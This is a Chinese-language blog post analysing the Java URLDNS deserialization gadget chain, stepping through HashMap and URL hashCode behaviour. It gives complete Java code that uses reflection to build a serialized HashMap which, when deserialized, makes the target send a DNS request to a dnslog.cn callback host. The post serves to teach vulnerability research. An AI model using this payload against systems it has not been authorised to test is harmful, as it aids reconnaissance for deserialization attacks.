zoukankan      html  css  js  c++  java
  • URLDNS分析

    0x01、概述

    之前写的多多少少有点毛病,然后期间做项目什么的,忘的差不多了,就重新再写一下,发到博客上面;URLDNS一般用于探测是否存在反序列化漏洞从而诞生的

    在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value。所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中。而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求

    要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode()

    0x02、demo分析

    通过上面构造gadget概述这,我们知道了需要一个URL对象,并作为hashmap的key即可。这时候提出需求

    1、需要有java.net.URL对象

    2、创建的map中key需要为URL对象

    3、需要将HashCode初始值为-1

    package org.example;
    
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class test {
        public static void main(String[] args) throws MalformedURLException {
            HashMap map = new HashMap();
            URL url = new URL("http://hb4x89.dnslog.cn");
            map.put(url,"edhdhdh");
    
        }
    }
    

    我们观察demo,发现没有将初始值设置为-1,依然可以触发dns请求。那么这是怎么回事,我们跟下去看看

    入口点为map.put()处,为什么呢?因为map设置值就是用put,同时put方法里有我们想要的东西;我们继续跟下去看看

    发现此处putVal()方法中调用了hash()。hash这方法干嘛?我也不知道,我们进去看一下就知道了

    我们可以发现这是进行了判断,如果为空,则为0;不为空,则进入到后面这个算法中。这时候我们应该想起hashmap的特点

    HashMap类:键唯一,键值对存取无序, 由哈希表保证键唯一。hashcode方法返回该对象的哈希码值
    

    这一切就理所当然了,那么我们继续往下看看hashcode()干了什么事

    那为什么hashCode=-1呀?

    因为URL类中已经定义了hashcode为-1,所以我们就可以直接进入下一条语句中,去调用了新的一个hashcode

    ![image-20210901150220346](/Users/m1ng/Library/Application Support/typora-user-images/image-20210901150220346.png)

    到这里其实就不用调试了,可以看到它这边发起了DNS请求。然而我这边只是一个demo,自己发起的,那么实际中我们得发送payload,让目标去发起请求。

    0x03、URLDNS链分析

    我们从demo中可以看到main函数里面短短三行就发起了请求,那我们以序列化数据形式呢?思考下我们怎么构造利用链?

    1、为什么发起的dns请求?

    2、目标类是否可以序列化

    其实看demo最后一行,不难猜想到其实就是hashmap的put方法开始。那么我们是不是可以看看hashmap可以被序列化吗

    我们看到serializable就可以放心了,说明是可以被序列化,那么我们就开始构造利用链吧

    要求一致:

    1、需要有java.net.URL对象
    
    2、创建的map中key需要为URL对象
    
    3、需要将HashCode初始值为-1
    

    代码如下:

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class test {
        public static void main(String[] args) throws MalformedURLException {
            HashMap map = new HashMap();
            URL url = new URL("http://mq82wx.dnslog.cn");
            map.put(url,"edhdhdh");
    
            try{
                FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
                ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
                outputStream.writeObject(map);
                outputStream.close();
                fileOutputStream.close();
    
                FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
                ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
                inputStream.readObject();
                inputStream.close();
                fileInputStream.close();
            }catch(Exception e){
                e.printStackTrace();
            }
    
        }
    }
    

    我们直接将map去序列化出来然后再去通过readObject去进行一个反序列化;通过下面这张图可以知道,这个map,即是我们的载体;

    可以发现这边请求了两次,为什么呢?我们看代码其实可以发现,我们在生成序列化数据前,已经进行了一次put了

    我们通过这张图可以看出什么?看出调用了HashMap#readObject(),里面则看到了老熟人putVal

    发现put方法里面也存在putVal,是不是很奇怪,很疑惑。前面我们调试的是put,接下来怎么就是readObject()??

    疑惑归疑惑,我们接下来往下看就知道了,其实我们可以知道readObject()是读取出了key和value

    那么我们F7跟进去看看是怎么样子的

    发现非常眼熟,就是HashMap中的hash方法,和put中的hash一样。那么结果就不用说了,直接就触发DNS请求了。真的如此吗?

    发现这是怎么回事,为什么hashcode不是-1呢?这也就是为什么我们需要设置hashcode的值为-1,多次执行大家就可以发现有时候dns请求了1次,有时候则请求了2次。那么我们得稳定呀,不能这样子搞。那我们想想怎么解决;

    解决问题:

    1、编译过程不触发DNS请求

    2、初始化hashcode值为-1

    解决问题1:

    因为是私有方法,我们需要通过发射进行修改属性(这个步骤看不懂的建议看看反射)

    public class test {
        public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
            HashMap map = new HashMap();
            URL url = new URL("http://m89inc.dnslog.cn");
          
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); // 修改访问权限
            f.set(url,123); // 设置hashCode值为123,这里可以是任何不为-1的数字
            System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
    
            map.put(url,"edhdhdh");
    
        }
    }
    

    这时候其实可以发现put已经没有发起dns请求了,但是我们还是调一下看看

    发现问题1已经解决了。那么我们在想下问题2怎么解决?其实问题1是通过反射中的set方法设置hashcode的值,那我们干嘛不能通过反射中的set去设置为-1呢?

    通过上图我们可以发现其实完全满足了要求了,那我们现在封装到序列化中执行一下看看

    完整代码:

    package org.example;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class test {
        public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
            HashMap map = new HashMap();
            URL url = new URL("http://u.s84msd.dnslog.cn");
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); // 修改访问权限
            f.set(url,111); 
            //System.out.println(url.hashCode());
            map.put(url,"edhdhdh");
            f.set(url,-1);
            try{
                FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
                ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
                outputStream.writeObject(map);
                outputStream.close();
                fileOutputStream.close();
    
                FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
                ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
                inputStream.readObject();
                inputStream.close();
                fileInputStream.close();
            }catch(Exception e){
                e.printStackTrace();
            }
    
        }
    }
    
    
  • 相关阅读:
    eclipse 中配置maven环境
    洛谷 P5015 标题统计
    洛谷 P1228 【地毯填补问题】
    洛谷 P3328 【[SDOI2015]音质检测】
    OJ 大整数减法
    NOIP 2018数据点
    NOIP 2017 图书管理员
    NOIP 成绩
    洛谷P1001 A+B Problem
    洛谷P1000 超级玛丽游戏
  • 原文地址:https://www.cnblogs.com/0x7e/p/15215101.html
Copyright © 2011-2022 走看看